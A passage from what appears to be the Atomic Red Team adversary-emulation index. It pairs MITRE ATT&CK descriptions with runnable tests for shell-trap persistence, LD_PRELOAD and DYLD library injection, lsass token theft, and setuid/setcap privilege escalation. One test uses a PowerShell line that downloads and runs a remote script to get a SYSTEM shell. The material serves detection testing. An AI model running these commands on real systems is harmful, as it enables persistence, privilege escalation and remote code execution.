          EXIT''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap EXIT (freebsd)
      auto_generated_guid: be1a5d70-6865-44aa-ab50-42244c9fd16f
      description: |
        Launch bash shell with command arg to create TRAP on EXIT.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if bash is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y bash)\n"
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          EXIT''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap SIGINT
      auto_generated_guid: a547d1ba-1d7a-4cc5-a9cb-8d65e8809636
      description: |
        Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          SIGINT && kill -SIGINT $$''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap SIGINT (freebsd)
      auto_generated_guid: ade10242-1eac-43df-8412-be0d4c704ada
      description: |
        Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if bash is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y bash)\n"
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          SIGINT && kill -SIGINT $$''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
  T1574.006:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: LD_PRELOAD'
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      created: '2020-03-13T20:09:59.569Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/006
        external_id: T1574.006
      - source_name: Man LD.SO
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
      - source_name: TLDP Shared Libraries
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
      - source_name: Apple Doco Archive Dynamic Libraries
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
      - source_name: Baeldung LD_PRELOAD
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
      - source_name: Code Injection on Linux and macOS
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
      - source_name: Uninformed Needle
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        url: http://hick.org/code/skape/papers/needle.txt
      - source_name: Phrack halfdead 1997
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        url: http://phrack.org/issues/51/8.html
      - source_name: Brown Exploiting Linkers
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
      - source_name: Timac DYLD_INSERT_LIBRARIES
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

          '
        cleanup_command: 'sudo sed -i ''s##{path_to_shared_library}##'' /etc/ld.so.preload

          '
        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

          '
        name: bash
    - name: Dylib Injection via DYLD_INSERT_LIBRARIES
      auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be
      description: 'injects a dylib that opens calculator via env variable

        '
      supported_platforms:
      - macos
      input_arguments:
        file_to_inject:
          description: Path of executable to be injected. Mostly works on non-apple
            default apps.
          type: path
          default: "/Applications/Firefox.app/Contents/MacOS/firefox"
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c
        dylib_file:
          description: Path of dylib file
          type: path
          default: "/tmp/T1574006MOS.dylib"
      dependency_executor_name: bash
      dependencies:
      - description: 'Compile the dylib from (#{source_file}). Destination is #{dylib_file}

          '
        prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
        get_prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
      executor:
        command: 'DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject}

          '
        cleanup_command: |
          kill `pgrep Calculator`
          kill `pgrep firefox`
        name: bash
        elevation_required: false
  T1548:
    technique:
      modified: '2024-04-15T20:52:09.908Z'
      name: Abuse Elevation Control Mechanism
      description: 'Adversaries may circumvent mechanisms designed to control elevate
        privileges to gain higher-level permissions. Most modern systems contain native
        elevation control mechanisms that are intended to limit privileges that a
        user can perform on a machine. Authorization has to be granted to specific
        users in order to perform tasks that can be considered of higher risk.(Citation:
        TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform
        several methods to take advantage of built-in control mechanisms in order
        to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation:
        Fortinet Fareit)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

        Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

        On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.

        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - IaaS
      - Google Workspace
      - Azure AD
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'User Account: User Account Modification'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'File: File Metadata'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
      created: '2020-01-30T13:58:14.373Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548
        external_id: T1548
      - source_name: TechNet How UAC Works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: Fortinet Fareit
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
      - source_name: sudo man page 2018
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        url: https://www.sudo.ws/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1134.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Create Process with Token
      description: |-
        Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

        Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.

        While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Vadim Khrykov
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      type: attack-pattern
      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
      created: '2020-02-18T16:48:56.582Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/002
        external_id: T1134.002
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: Microsoft RunAs
        description: Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.002
    atomic_tests:
    - name: Access Token Manipulation
      auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e
      description: "This Action demonstrates how an access token for a specific program
        can spawn another program under a different owner. \nAdversaries can leverage
        access tokens to run programs under a different user not only to achieve privilege
        escalation but also to evade detection by blending in with normal user activity.
        \nThis Action will query all processes and list the process name and owner.It
        will then make a copy of an existing token to create a new instance of cmd.exe\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope Process Bypass -Force
          $owners = @{}
          gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
          Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
          & "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
        name: powershell
        elevation_required: true
    - name: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation
        technique
      auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92
      description: Get SYSTEM shell - Pop System Shell using Token Manipulation technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
        name: powershell
  T1548.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Setuid and Setgid'
      description: |-
        An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

        Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.

        Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

        Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the file system for files that have the setuid or
        setgid bits set. Monitor for execution of utilities, like chmod, and their
        command-line arguments to look for setuid or setguid bits being set.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
      created: '2020-01-30T14:11:41.212Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/001
        external_id: T1548.001
      - source_name: GTFOBins Suid
        description: Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January
          28, 2022.
        url: https://gtfobins.github.io/#+suid
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: setuid man page
        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
          Retrieved September 21, 2018.
        url: http://man7.org/linux/man-pages/man2/setuid.2.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1548.001
    atomic_tests:
    - name: Make and modify binary from C source
      auto_generated_guid: 896dfe97-ae43-4101-8e96-9a7996555d80
      description: 'Make, change owner, and change file attributes on a C source code
        file

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          sudo chown root /tmp/hello.c
          sudo make /tmp/hello
          sudo chown root /tmp/hello
          sudo chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          sudo rm /tmp/hello
          sudo rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Make and modify binary from C source (freebsd)
      auto_generated_guid: dd580455-d84b-481b-b8b0-ac96f3b1dc4c
      description: 'Make, change owner, and change file attributes on a C source code
        file

        '
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          chown root /tmp/hello.c
          make /tmp/hello
          chown root /tmp/hello
          chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          rm /tmp/hello
          rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file
      auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79
      description: 'This test sets the SetUID flag on a file in FreeBSD.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod u+xs #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file (freebsd)
      auto_generated_guid: 9be9b827-ff47-4e1b-bef8-217db6fb7283
      description: 'This test sets the SetUID flag on a file in FreeBSD.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setuid}
          chown root #{file_to_setuid}
          chmod u+xs #{file_to_setuid}
        cleanup_command: 'rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file
      auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c
      description: 'This test sets the SetGID flag on a file in Linux and macOS.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod g+xs #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file (freebsd)
      auto_generated_guid: 1f73af33-62a8-4bf1-bd10-3bea931f2c0d
      description: 'This test sets the SetGID flag on a file in FreeBSD.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setuid}
          chown root #{file_to_setuid}
          chmod g+xs #{file_to_setuid}
        cleanup_command: 'rm #{file_to_setuid}

          '
        name: sh
        elevation_required: true
    - name: Make and modify capabilities of a binary
      auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072
      description: |
        Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
        The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
        Without being owned by root, the binary can set the UID to 0.
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: cap.c payload
          type: path
          default: PathToAtomicsFolder/T1548.001/src/cap.c
      executor:
        command: |
          cp #{payload} /tmp/cap.c
          make /tmp/cap
          sudo setcap cap_setuid=ep /tmp/cap
          /tmp/cap
        cleanup_command: |
          rm /tmp/cap
          rm /tmp/cap.c
        name: sh
        elevation_required: true
    - name: Provide the SetUID capability to a file
      auto_generated_guid: 1ac3272f-9bcf-443a-9888-4b1d3de785c1
      description: 'This test gives a file the capability to set UID without using
        flags.

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_setcap:
          description: Path of file to provide the SetUID capability
          type: path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setcap}
          sudo setcap cap_setuid=ep #{file_to_setcap}
        cleanup_command: 'rm #{file_to_setcap}

          '
        name: sh
        elevation_required: true
    - name: Do reconnaissance for files that have the setuid bit set
      auto_generated_guid: 8e36da01-cd29-45fd-be72-8a0fcaad4481
      description: 'This test simulates a command that can be run to enumerate files
        that have the setuid bit set

        '
      supported_platforms:
      - linux
      executor:
        command: 'find /usr/bin -perm -4000

          '
        name: sh
    - name: Do reconnaissance for files that have the setgid bit set
      auto_generated_guid: 3fb46e17-f337-4c14-9f9a-a471946533e2
      description: 'This test simulates a command that can be run to enumerate files
        that have the setgid bit set

        '
      supported_platforms:
      - linux
      executor:
        command: 'find /usr/bin -perm -2000

          '
        name: sh
  T1547.004:
    technique:
      modified: '2024-02-14T21:24:37.780Z'
      name: 'Boot or Logon Autostart Execution: Winlogon Helper DLL'
      description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
        executables when a user logs in. Winlogon.exe is a Windows component responsible
        for actions at logon/logoff as well as the secure attention sequence (SAS)
        triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper
        programs and functionalities that support Winlogon.(Citation: Cylance Reg
        Persistence Sept 2013) \n\nMalicious modifications to these Registry keys
        may cause Winlogon to load and execute malicious DLLs and/or executables.
        Specifically, the following subkeys have been known to be possibly vulnerable
        to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify
        - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit
        - points to userinit.exe, the user initialization program executed when a
        user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
        executed when a user logs on\n\nAdversaries may take advantage of these features
        to repeatedly execute malicious code and establish persistence."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
